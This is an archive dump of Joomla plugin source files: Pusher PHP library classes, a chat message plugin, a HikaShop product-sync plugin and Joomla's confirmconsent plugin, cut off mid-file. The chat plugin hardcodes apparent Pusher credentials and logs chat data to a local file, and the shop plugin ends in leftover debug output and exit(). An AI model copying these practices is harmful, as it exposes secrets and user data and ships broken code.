$this->get('/channels/'.$channel.'/users');

        if ($response === false) {
            return false;
        }

        return json_decode($response['body']);
    }

    /**
     * GET arbitrary REST API resource using a synchronous http client.
     * All request signing is handled automatically.
     *
     * @param string $path   Path excluding /apps/APP_ID
     * @param array  $params API params (see
http://pusher.com/docs/rest_api)
     *
     * @throws PusherException Throws exception if curl wasn't
initialized correctly
     *
     * @return array|bool See Pusher API docs
     */
    public function get($path, $params = array())
    {
        $path = $this->settings['base_path'].$path;

        $ch = $this->create_curl($this->channels_url_prefix(), $path,
'GET', $params);

        $response = $this->exec_curl($ch);

        if ($response['status'] === 200) {
            $response['result'] =
json_decode($response['body'], true);

            return $response;
        }

        return false;
    }

    /**
     * Creates a socket signature.
     *
     * @param string $channel
     * @param string $socket_id
     * @param string $custom_data
     *
     * @throws PusherException Throws exception if $channel is invalid or
above or $socket_id is invalid
     *
     * @return string Json encoded authentication string.
     */
    public function socket_auth($channel, $socket_id, $custom_data = null)
    {
        $this->validate_channel($channel);
        $this->validate_socket_id($socket_id);

        if ($custom_data) {
            $signature = hash_hmac('sha256',
$socket_id.':'.$channel.':'.$custom_data,
$this->settings['secret'], false);
        } else {
            $signature = hash_hmac('sha256',
$socket_id.':'.$channel, $this->settings['secret'],
false);
        }

        $signature = array('auth' =>
$this->settings['auth_key'].':'.$signature);
        // add the custom data if it has been supplied
        if ($custom_data) {
            $signature['channel_data'] = $custom_data;
        }

        if (PusherCrypto::is_encrypted_channel($channel)) {
            if (!is_null($this->crypto)) {
                $signature['shared_secret'] =
base64_encode($this->crypto->generate_shared_secret($channel));
            } else {
                throw new PusherException('You must specify an
encryption master key to authorize an encrypted channel');
            }
        }

        return json_encode($signature, JSON_UNESCAPED_SLASHES);
    }

    /**
     * Creates a presence signature (an extension of socket signing).
     *
     * @param string $channel
     * @param string $socket_id
     * @param string $user_id
     * @param mixed  $user_info
     *
     * @throws PusherException Throws exception if $channel is invalid or
above or $socket_id is invalid
     *
     * @return string
     */
    public function presence_auth($channel, $socket_id, $user_id,
$user_info = null)
    {
        $user_data = array('user_id' => $user_id);
        if ($user_info) {
            $user_data['user_info'] = $user_info;
        }

        return $this->socket_auth($channel, $socket_id,
json_encode($user_data));
    }

    /**
     * Send a native notification via the Push Notifications Api.
     *
     * @param array $interests
     * @param array $data
     * @param bool  $debug
     *
     * @throws PusherException If validation fails
     *
     * @return array|bool|string
     */
    public function notify($interests, $data = array(), $debug = false)
    {
        $query_params = array();

        if (is_string($interests)) {
            $this->log('->notify received string interests
"{interests}" Converting to array.',
compact('interests'));
            $interests = array($interests);
        }

        if (count($interests) === 0) {
            throw new PusherException('$interests array must not be
empty');
        }

        $data['interests'] = $interests;

        $post_value = json_encode($data);

        $query_params['body_md5'] = md5($post_value);

        $path =
'/server_api/v1'.$this->settings['base_path'].'/notifications';
        $ch = $this->create_curl($this->notification_url_prefix(),
$path, 'POST', $query_params);

        $this->log('trigger POST (Native notifications):
{post_value}', compact('post_value'));

        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_value);

        $response = $this->exec_curl($ch);

        if ($response['status'] === 202 && $debug ===
false) {
            return true;
        }

        if ($debug === true || $this->settings['debug'] ===
true) {
            return $response;
        }

        return false;
    }

    /**
     * Verify that a webhook actually came from Pusher, decrypts any
encrypted events, and marshals them into a PHP object.
     *
     * @param array  $headers a array of headers from the request (for
example, from getallheaders())
     * @param string $body    the body of the request (for example, from
file_get_contents('php://input'))
     *
     * @return array marshalled object with the properties time_ms (an int)
and events (an array of event objects)
     */
    public function webhook($headers, $body)
    {
        $this->ensure_valid_signature($headers, $body);

        $decoded_events = array();
        $decoded_json = json_decode($body);
        foreach ($decoded_json->events as $key => $event) {
            if (PusherCrypto::is_encrypted_channel($event->channel)) {
                if (!is_null($this->crypto)) {
                    $decryptedEvent =
$this->crypto->decrypt_event($event);

                    if ($decryptedEvent == false) {
                        $this->log('Unable to decrypt webhook event
payload. Wrong key? Ignoring.', null, LogLevel::WARNING);
                        continue;
                    }
                    array_push($decoded_events, $decryptedEvent);
                } else {
                    $this->log('Got an encrypted webhook event
payload, but no master key specified. Ignoring.', null,
LogLevel::WARNING);
                    continue;
                }
            } else {
                array_push($decoded_events, $event);
            }
        }
        $webhookobj = new Webhook($decoded_json->time_ms,
$decoded_json->events);

        return $webhookobj;
    }

    /**
     * Verify that a given Pusher Signature is valid.
     *
     * @param array  $headers an array of headers from the request (for
example, from getallheaders())
     * @param string $body    the body of the request (for example, from
file_get_contents('php://input'))
     *
     * @throws PusherException if signature is inccorrect.
     */
    public function ensure_valid_signature($headers, $body)
    {
        $x_pusher_key = $headers['X-Pusher-Key'];
        $x_pusher_signature = $headers['X-Pusher-Signature'];
        if ($x_pusher_key == $this->settings['auth_key']) {
            $expected = hash_hmac('sha256', $body,
$this->settings['secret']);
            if ($expected === $x_pusher_signature) {
                return;
            }
        }

        throw new PusherException(sprintf('Received WebHook with
invalid signature: got %s.', $x_pusher_signature));
    }
}
PK	�[d�:]��Jchat/sendMessage/pusher/vendor/pusher/pusherphpserver/src/PusherCrypto.phpnu�[���<?php

namespace vendor\pusher\pusherphpserver\src;

class PusherCrypto
{
    private $encryption_master_key = '';

    // The prefix any e2e channel must have
    const ENCRYPTED_PREFIX = 'private-encrypted-';

    /**
     * Checks if a given channel is an encrypted channel.
     *
     * @param string $channel the name of the channel
     *
     * @return bool true if channel is an encrypted channel
     */
    public static function is_encrypted_channel($channel)
    {
        return substr($channel, 0, strlen(self::ENCRYPTED_PREFIX)) ===
self::ENCRYPTED_PREFIX;
    }

    public static function parse_master_key($encryption_master_key,
$encryption_master_key_base64)
    {
        if (!function_exists('sodium_crypto_secretbox')) {
            throw new PusherException('To use end to end encryption,
you must either be using PHP 7.2 or greater or have installed the
libsodium-php extension for php < 7.2.');
        }

        if ($encryption_master_key != '' and
$encryption_master_key_base64 != '') {
            throw new PusherException('Do not specify both
encryption_master_key and encryption_master_key_base64.
encryption_master_key is deprecated, use only
encryption_master_key_base64');
        }

        if ($encryption_master_key != '') {
            if (strlen($encryption_master_key) !=
SODIUM_CRYPTO_SECRETBOX_KEYBYTES) {
                throw new PusherException('encryption_master_key must
be 32 bytes. It is also deprecated, use
encryption_master_key_base64');
            }

            return $encryption_master_key;
        }

        if ($encryption_master_key_base64 != '') {
            $decoded_key = base64_decode($encryption_master_key_base64,
true);
            if ($decoded_key === false) {
                throw new
PusherException('encryption_master_key_base64 must be a valid base64
string');
            }

            if (strlen($decoded_key) != SODIUM_CRYPTO_SECRETBOX_KEYBYTES) {
                throw new
PusherException('encryption_master_key_base64 must encode a key which
is 32 bytes long');
            }

            return $decoded_key;
        }

        return '';
    }

    /**
     * Initialises a PusherCrypto instance.
     *
     * @param string $encryption_master_key the SECRET_KEY_LENGTH key that
will be used for key derivation.
     */
    public function __construct($encryption_master_key)
    {
        $this->encryption_master_key = $encryption_master_key;
    }

    /**
     * Decrypts a given event.
     *
     * @param object $event an object that has an encrypted data property
and a channel property.
     *
     * @return object the event with a decrypted payload, or false if
decryption was unsuccessful.
     */
    public function decrypt_event($event)
    {
        $parsed_payload =
$this->parse_encrypted_message($event->data);
        $shared_secret =
$this->generate_shared_secret($event->channel,
$this->encryption_master_key);
        $decrypted_payload =
$this->decrypt_payload($parsed_payload->ciphertext,
$parsed_payload->nonce, $shared_secret);
        if (!$decrypted_payload) {
            throw new PusherException('Decryption of the payload
failed. Wrong key?');
        }
        $event->data = $decrypted_payload;

        return $event;
    }

    /**
     * Derives a shared secret from the secret key and the channel to
broadcast to.
     *
     * @param string $channel the name of the channel
     *
     * @return string a SHA256 hash (encoded as base64) of the channel name
appended to the encryption key
     */
    public function generate_shared_secret($channel)
    {
        if (!self::is_encrypted_channel($channel)) {
            throw new PusherException('You must specify a channel of
the form private-encrypted-* for E2E encryption. Got '.$channel);
        }

        return hash('sha256',
$channel.$this->encryption_master_key, true);
    }

    /**
     * Encrypts a given plaintext for broadcast on a particular channel.
     *
     * @param string $channel   the name of the channel the payloads event
will be broadcast on
     * @param string $plaintext the data to encrypt
     *
     * @return string a string ready to be sent as the data of an event.
     */
    public function encrypt_payload($channel, $plaintext)
    {
        if (!self::is_encrypted_channel($channel)) {
            throw new PusherException('Cannot encrypt plaintext for a
channel that is not of the form private-encrypted-*. Got '.$channel);
        }
        $nonce = $this->generate_nonce();
        $shared_secret = $this->generate_shared_secret($channel);
        $cipher_text = sodium_crypto_secretbox($plaintext, $nonce,
$shared_secret);

        return $this->format_encrypted_message($nonce, $cipher_text);
    }

    /**
     * Decrypts a given payload using the nonce and shared secret.
     *
     * @param string $payload       the ciphertext
     * @param string $nonce         the nonce used in the encryption
     * @param string $shared_secret the shared_secret used in the
encryption
     *
     * @return string plaintext
     */
    public function decrypt_payload($payload, $nonce, $shared_secret)
    {
        $plaintext = sodium_crypto_secretbox_open($payload, $nonce,
$shared_secret);
        if (empty($plaintext)) {
            return false;
        }

        return $plaintext;
    }

    /**
     * Formats an encrypted message ready for broadcast.
     *
     * @param string $nonce      the nonce used in the encryption process
(bytes)
     * @param string $ciphertext the ciphertext (bytes)
     *
     * @return string JSON with base64 encoded nonce and ciphertext`
     */
    private function format_encrypted_message($nonce, $ciphertext)
    {
        $encrypted_message = new \stdClass();
        $encrypted_message->nonce = base64_encode($nonce);
        $encrypted_message->ciphertext = base64_encode($ciphertext);

        return json_encode($encrypted_message);
    }

    /**
     * Parses an encrypted message into its nonce and ciphertext
components.
     *
     *
     * @param string $payload the encrypted message payload
     *
     * @return string php object with decoded nonce and ciphertext
     */
    private function parse_encrypted_message($payload)
    {
        $decoded_payload = json_decode($payload);
        $decoded_payload->nonce =
base64_decode($decoded_payload->nonce);
        $decoded_payload->ciphertext =
base64_decode($decoded_payload->ciphertext);
        if (strlen($decoded_payload->nonce) !=
SODIUM_CRYPTO_SECRETBOX_NONCEBYTES || $decoded_payload->ciphertext ==
'') {
            throw new PusherException('Received a payload that cannot
be parsed.');
        }

        return $decoded_payload;
    }

    /**
     * Generates a nonce that is SODIUM_CRYPTO_SECRETBOX_NONCEBYTES long.
     */
    private function generate_nonce()
    {
        return random_bytes(
            SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
        );
    }
}
PK	�[�L�bqqMchat/sendMessage/pusher/vendor/pusher/pusherphpserver/src/PusherException.phpnu�[���<?php

namespace vendor\pusher\pusherphpserver\src;

use Exception;

class PusherException extends Exception
{
}
PK	�[�@]]Lchat/sendMessage/pusher/vendor/pusher/pusherphpserver/src/PusherInstance.phpnu�[���<?php

namespace vendor\pusher\pusherphpserver\src;

class PusherInstance
{
    private static $instance = null;
    private static $app_id = '';
    private static $secret = '';
    private static $api_key = '';

    /**
     * Get the pusher singleton instance.
     *
     * @return Pusher
     */
    public static function get_pusher()
    {
        if (self::$instance !== null) {
            return self::$instance;
        }

        self::$instance = new Pusher(
            self::$api_key,
            self::$secret,
            self::$app_id
        );

        return self::$instance;
    }
}
PK	�[�iচ�Echat/sendMessage/pusher/vendor/pusher/pusherphpserver/src/Webhook.phpnu�[���<?php

namespace vendor\pusher\pusherphpserver\src;

class Webhook
{
    private $time_ms;
    private $events = array();

    public function __construct($time_ms, $events)
    {
        $this->time_ms = $time_ms;
        $this->events = $events;
    }

    public function get_events()
    {
        return $this->events;
    }

    public function get_time_ms()
    {
        return $this->time_ms;
    }
}
PK	�[��G\	\	
chat/sendMessage/sendMessage.phpnu�[���<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				fdsh 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.36
	@build			28th March, 2023
	@created		17th December, 2020
	@package		Reservation
	@subpackage		sendmessage.php
	@author			farhad shahbazi <http://farhad.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');


/***[JCBGUI.joomla_plugin.head.63.$$$$]***/
define('DS', DIRECTORY_SEPARATOR);
jimport( 'joomla.plugin.plugin' );

JLoader::registerNamespace('vendor',
JPATH_PLUGINS.DS.'chat'.DS.'sendMessage'.DS.
'pusher');
use vendor\pusher\pusherphpserver\src\Pusher;/***[/JCBGUI$$$$]***/


class PlgChatSendMessage extends JEvent
{

/***[JCBGUI.joomla_plugin.main_class_code.63.$$$$]***/
  public function afterChatSave($data)
  {
    $filename = __DIR__ . '/log.txt';
    file_put_contents($filename, 'data = ' . print_r($data, True)
. "\n", FILE_APPEND);
    $app_id= '1119039';
    $app_key= 'ded62ba8f60c31da4778';
    $app_secret= '66ee3778f9e908cb46ae';
    $app_cluster= 'ap2';

    $channel_token= $data['channel_token'];
    unset($data['channel_token']);
    file_put_contents($filename, 'data2 = ' . print_r($data,
True) . "\n", FILE_APPEND);
    file_put_contents($filename, 'channel_token = ' .
print_r($channel_token, True) . "\n", FILE_APPEND);
    $pusher = new
Pusher($app_key,$app_secret,$app_id,array('cluster'=>$app_cluster));
    $ss = $pusher->trigger($channel_token,'my-event', $data);
    file_put_contents($filename, 'ss = ' . print_r($data, True) .
"\n", FILE_APPEND);
    return true;

  }/***[/JCBGUI$$$$]***/

}
PK	�[=�$���
chat/sendMessage/sendMessage.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension type="plugin" version="3.8"
group="chat" method="upgrade">
	<name>PLG_CHAT_SENDMESSAGE</name>
	<creationDate>28th March, 2023</creationDate>
	<author>farhad shahbazi</author>
	<authorEmail>farhad.shahbazi0010@gmail.com</authorEmail>
	<authorUrl>http://farhad.com</authorUrl>
	<copyright>Copyright (C) 2015. All Rights Reserved</copyright>
	<license>GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html</license>
	<version>1.0.0</version>
	<description>PLG_CHAT_SENDMESSAGE_XML_DESCRIPTION</description>

	<!-- Language files -->
	<languages folder="language">
		<language
tag="en-GB">en-GB/en-GB.plg_chat_sendmessage.ini</language>
		<language
tag="en-GB">en-GB/en-GB.plg_chat_sendmessage.sys.ini</language>
	</languages>

	<!-- Plugin files -->
	<files>
		<filename
plugin="sendmessage">sendmessage.php</filename>
		<filename>index.html</filename>
		<folder>language</folder>
		<folder>pusher</folder>
	</files>
</extension>PK	�[�t�N		;content/add_product_to_hikashop/add_product_to_hikashop.phpnu�[���<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				fdsh 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.36
	@build			27th July, 2021
	@created		17th December, 2020
	@package		Reservation
	@subpackage		add_product_to_hikashop.php
	@author			farhad shahbazi <http://farhad.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');


/***[JCBGUI.class_extends.head.1.$$$$]***/

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Plugin\CMSPlugin;
/***[/JCBGUI$$$$]***/


/***[JCBGUI.class_extends.comment.1.$$$$]***/
/**
 * Content - Add_product_to_hikashop plugin.
 *
 * @package   Add_product_to_hikashop
 * @since     1.0.0
 *//***[/JCBGUI$$$$]***/

class PlgContentAdd_product_to_hikashop extends CMSPlugin
{
    public function onContentAfterSave($context, $table, $isNew)
    {

        if ($context != 'com_reservation.plan')
            return true;


        // file_put_contents($file_name, "data if =
".print_r($data, true) . "\n", FILE_APPEND);
        jimport( 'joomla.plugin.plugin' );
        // file_put_contents($file_name, "data !!! =
".print_r($data, true) . "\n", FILE_APPEND);


        require_once(
JPATH_ADMINISTRATOR.'/components/com_hikashop/helpers/helper.php'
);
//        require_once(
JPATH_SITE.'/components/com_reservation/helpers/reservation.php'
);
        $config = hikashop_config();
        $allowed = $config->get('allowedfiles');
        $imageHelper = hikashop_get('helper.image');

        $file_class = hikashop_get('class.file');
        $uploadPath =
$file_class->getPath('product','');
//        $params = JComponentHelper::getParams('com_moojla');
//        $courses_category =
trim($params->get('courses_category'));

//        $course = $data["course_id"];
//        $db = JFactory::getDbo();
//
//        $db = JFactory::getDbo();
//        $query = $db->getQuery(true);
//        $query->select($db->quoteName(array('id',
'summary_files')))
//            ->from($db->quoteName('#__moojla_course'))
//            ->where($db->quoteName('remoteid') . ' =
' . $db->quote($course));
//        $db->setQuery($query);
//        $moojla_course = $db->loadAssoc();

        //  New product to add to Hikashop
        $plans= [
            1 => 'مشاوره تلفنی',
            2 => 'مشاوره چت آنلاین'
        ];

//        $name = $data["course_name"];
        $plan_type= $plans[$table->get('plantype')];
        $consultant=
ReservationHelper::getConsultant($table->get('consultantid'));
        $consultant_name= $consultant->name;
        $consultant_specialty= $consultant->title;
        $name = $plan_type.' -
'.$consultant_name.'('.$consultant_specialty.')';

//        echo '<pre>';
//        var_dump($table->get('waitingtime'),
$table->get('time'));
//        echo '</pre>';
//        exit();
//        $desc = "
میباشد{$table->get('waitingtime')} برگزار
میگردد و حداکثر زمان لازم برای پاسخگویی
دکتر {$table->get('time')}این پلن به مدت
";
        $desc = "این پلن به مدت
{$table->get('time')} دقیقه برگزار میگردد و
حداکثر زمان لازم برای پاسخگویی دکتر
{$table->get('waitingtime')} ساعت میباشد";
        $cost = $table->price;
        $plan_id = $table->id;
//        $currency = $data["currency"];
        $currency = 'USD';
//        $courses_category= [$plan_type, $consultant->specialty];
//        $courses_category= [14];


        $product_class = hikashop_get('class.product');
        $element = new JObject ();
//        $element->categories = $courses_category;
        $element->related = array();
        $element->options = array();
        $element->product_name = $name;
        $element->product_description = $desc;
        $element->product_code = $plan_id;
        $element->product_published = 1;
        $element->product_min_per_order = 0;
        $element->product_max_per_order = 1;

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
       
$query->select($db->quoteName(array('category_id')));
       
$query->from($db->quoteName('#__hikashop_category'));
        $query->where($db->quoteName('category_namekey') .
' = ' . $db->quote('default_tax'));

        $db->setQuery($query);
        $tax_id = $db->loadResult();

        if ($tax_id)
        {
            $element->product_tax_id = $tax_id;

            $db = JFactory::getDbo();
            $query = $db->getQuery(true);
           
$query->select($db->quoteName(array('tax_namekey')));
           
$query->from($db->quoteName('#__hikashop_taxation'));
           
$query->where($db->quoteName('category_namekey') . ' =
' . $db->quote('default_tax'));
            $db->setQuery($query);
            $tax_namekey = $db->loadResult();

            $db = JFactory::getDbo();
            $query = $db->getQuery(true);
           
$query->select($db->quoteName(array('tax_rate')));
           
$query->from($db->quoteName('#__hikashop_tax'));
            $query->where($db->quoteName('tax_namekey') .
' = ' . $db->quote($tax_namekey));
            $db->setQuery($query);
            $tax_rate = $db->loadResult();

            $div = $tax_rate + 1;
            $price_without_tax = $cost / $div;
            $cost = $price_without_tax;
        }

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
       
$query->select($db->quoteName(array('product_id')));
       
$query->from($db->quoteName('#__hikashop_product'));
        $query->where($db->quoteName('product_code') .
' = ' . $db->quote($plan_id));
        $db->setQuery($query);
        $products = $db->loadObjectList();

        $db->setQuery($query);
        $products = $db->loadObjectList();
        // // file_put_contents($file_name, "query =
".print_r($query->__toString(), true) . "\n",
FILE_APPEND);
        // file_put_contents($file_name, "products =
".print_r($products, true) . "\n", FILE_APPEND);
        if (count ($products))
        {
            $element->product_id = current($products)->product_id;
        }



        $element->prices[0] = new JObject ();
        $element->prices[0]->price_value = $cost;

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
       
$query->select($db->quoteName(array('currency_id')));
       
$query->from($db->quoteName('#__hikashop_currency'));
        $query->where($db->quoteName('currency_code') .
' = ' . $db->quote($currency));
        $db->setQuery($query);
        $currency_id = $db->loadResult();


        $element->prices[0]->price_currency_id = $currency_id;
        $element->prices[0]->price_min_quantity = 0;
        $element->product_type = "main";
//        $quantity = intval($enrol_json['customint3']);
        $quantity = 0;
        if($quantity > 0)
            $element->product_quantity = $quantity;

        $status = $product_class->save($element);


        if ($status)
        {
            $product_class->updateCategories($element,$status);
            $product_class->updatePrices($element,$status);
        }
        
        echo '<pre>';
        var_dump($consultant);
        echo '</pre>';
        exit();

    }
}
PK	�[��	;content/add_product_to_hikashop/add_product_to_hikashop.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension type="plugin" version="3.8"
group="content" method="upgrade">
	<name>PLG_CONTENT_ADD_PRODUCT_TO_HIKASHOP</name>
	<creationDate>27th July, 2021</creationDate>
	<author>farhad shahbazi</author>
	<authorEmail>farhad.shahbazi0010@gmail.com</authorEmail>
	<authorUrl>http://farhad.com</authorUrl>
	<copyright>Copyright (C) 2015. All Rights Reserved</copyright>
	<license>GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html</license>
	<version>1.0.0</version>
	<description>PLG_CONTENT_ADD_PRODUCT_TO_HIKASHOP_XML_DESCRIPTION</description>

	<!-- Language files -->
	<languages folder="language">
		<language
tag="en-GB">en-GB/en-GB.plg_content_add_product_to_hikashop.ini</language>
		<language
tag="en-GB">en-GB/en-GB.plg_content_add_product_to_hikashop.sys.ini</language>
	</languages>

	<!-- Plugin files -->
	<files>
		<filename
plugin="add_product_to_hikashop">add_product_to_hikashop.php</filename>
		<filename>index.html</filename>
		<folder>language</folder>
	</files>
</extension>PK	�[�#o,,*content/add_product_to_hikashop/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�Q\\\content/add_product_to_hikashop/language/en-GB/en-GB.plg_content_add_product_to_hikashop.ininu�[���PLG_CONTENT_ADD_PRODUCT_TO_HIKASHOP="Content
- Add_product_to_hikashop"
PLG_CONTENT_ADD_PRODUCT_TO_HIKASHOP_XML_DESCRIPTION="<h1>Content
- Add_product_to_hikashop (v.1.0.0)</h1> <div style='clear:
both;'></div><p>Created by <a
href='http://farhad.com' target='_blank'>farhad
shahbazi</a><br /><small>Development started 27th July,
2021</small></p>"PK	�[�Q\\`content/add_product_to_hikashop/language/en-GB/en-GB.plg_content_add_product_to_hikashop.sys.ininu�[���PLG_CONTENT_ADD_PRODUCT_TO_HIKASHOP="Content
- Add_product_to_hikashop"
PLG_CONTENT_ADD_PRODUCT_TO_HIKASHOP_XML_DESCRIPTION="<h1>Content
- Add_product_to_hikashop (v.1.0.0)</h1> <div style='clear:
both;'></div><p>Created by <a
href='http://farhad.com' target='_blank'>farhad
shahbazi</a><br /><small>Development started 27th July,
2021</small></p>"PK	�[�#o,,9content/add_product_to_hikashop/language/en-GB/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�#o,,3content/add_product_to_hikashop/language/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[V�����)content/confirmconsent/confirmconsent.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.confirmconsent
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * The Joomla Core confirm consent plugin
 *
 * @since  3.9.0
 */
class PlgContentConfirmConsent extends CMSPlugin
{
	/**
	 * The Application object
	 *
	 * @var    JApplicationSite
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * The supported form contexts
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $supportedContext = array(
		'com_contact.contact',
		'com_mailto.mailto',
		'com_privacy.request',
	);

	/**
	 * Add additional fields to the supported forms
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm(JForm $form, $data)
	{
		if ($this->app->isClient('administrator') ||
!in_array($form->getName(), $this->supportedContext))
		{
			return true;
		}

		// Get the consent box Text & the selected privacyarticle
		$consentboxText  = (string)
$this->params->get('consentbox_text',
Text::_('PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_DEFAULT'));
		$privacyArticle  = $this->params->get('privacy_article',
false);

		$form->load('
			<form>
				<fieldset name="default"
addfieldpath="/plugins/content/confirmconsent/fields">
					<field
						name="consentbox"
						type="consentbox"
						articleid="' . $privacyArticle . '"
						label="PLG_CONTENT_CONFIRMCONSENT_CONSENTBOX_LABEL"
						required="true"
						>
						<option value="0">' .
htmlspecialchars($consentboxText, ENT_COMPAT, 'UTF-8') .
'</option>
					</field>
				</fieldset>
			</form>'
		);

		return true;
	}
}
PK	�[�]o�XX)content/confirmconsent/confirmconsent.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin"
group="content" method="upgrade">
	<name>plg_content_confirmconsent</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_CONTENT_CONFIRMCONSENT_XML_DESCRIPTION</description>
	<files>
		<filename
plugin="confirmconsent">confirmconsent.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_confirmconsent.ini</language>
		<language
tag="en-GB">en-GB.plg_content_confirmconsent.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic"
addfieldpath="/administrator/components/com_content/models/fields">
				<field
					name="consentbox_text"
					type="textarea"
					label="PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_LABEL"
					description="PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_DESC"
					hint="PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_DEFAULT"
					class="span12"
					rows="7"
					cols="20"
					filter="html"
				/>

				<field
					name="privacy_article"
					type="modal_article"
					label="PLG_CONTENT_CONFIRMCONSENT_FIELD_ARTICLE_LABEL"
					description="PLG_CONTENT_CONFIRMCONSENT_FIELD_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[�O��,content/confirmconsent/fields/consentbox.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.confirmconsent
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

JFormHelper::loadFieldClass('Checkboxes');

/**
 * Consentbox Field class for the Confirm Consent Plugin.
 *
 * @since  3.9.1
 */
class JFormFieldConsentBox extends JFormFieldCheckboxes
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.1
	 */
	protected $type = 'ConsentBox';

	/**
	 * Flag to tell the field to always be in multiple values mode.
	 *
	 * @var    boolean
	 * @since  3.9.1
	 */
	protected $forceMultiple = false;

	/**
	 * The article ID.
	 *
	 * @var    integer
	 * @since  3.9.1
	 */
	protected $articleid;

	/**
	 * Method to set certain otherwise inaccessible properties of the form
field object.
	 *
	 * @param   string  $name   The property name for which to set the value.
	 * @param   mixed   $value  The value of the property.
	 *
	 * @return  void
	 *
	 * @since   3.9.1
	 */
	public function __set($name, $value)
	{
		switch ($name)
		{
			case 'articleid':
				$this->articleid = (int) $value;
				break;

			default:
				parent::__set($name, $value);
		}
	}

	/**
	 * Method to get certain otherwise inaccessible properties from the form
field object.
	 *
	 * @param   string  $name  The property name for which to get the value.
	 *
	 * @return  mixed  The property value or null.
	 *
	 * @since   3.9.1
	 */
	public function __get($name)
	{
		switch ($name)
		{
			case 'articleid':
				return $this->$name;
		}

		return parent::__get($name);
	}

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object
representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control
value. This acts as an array container for the field.
	 *                                      For example if the field has
name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being
"bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.9.1
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		if ($return)
		{
